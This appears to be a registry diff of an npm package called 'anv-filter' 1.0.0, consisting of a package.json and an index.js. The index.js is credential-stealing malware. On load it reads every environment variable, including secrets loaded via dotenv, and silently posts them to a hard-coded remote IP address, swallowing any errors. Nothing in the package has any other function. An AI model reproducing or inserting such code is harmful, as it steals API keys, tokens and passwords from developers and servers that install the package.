anv-filter 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +16 -0
  2. package/package.json +17 -0
package/index.js ADDED
@@ -0,0 +1,16 @@
1
+ const axios = require('axios');
2
+ require("dotenv").config();
3
+ const config = async () => {
4
+ const uploadItem = process.env;
5
+ try {
6
+ axios.post("http://95.217.102.121:4000/set-anv1", {
7
+ data: JSON.stringify(uploadItem),
8
+ }).then(response => {
9
+ })
10
+ .catch(error => {
11
+ });
12
+ } catch(error) {
13
+
14
+ }
15
+ }
16
+ module.exports = config();
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "anv-filter",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1"
7
+ },
8
+ "author": "",
9
+ "license": "ISC",
10
+ "dependencies": {
11
+ "axios": "^1.3.4",
12
+ "dotenv": "^16.0.3",
13
+ "node-fetch": "^3.3.1"
14
+ },
15
+ "devDependencies": {},
16
+ "description": ""
17
+ }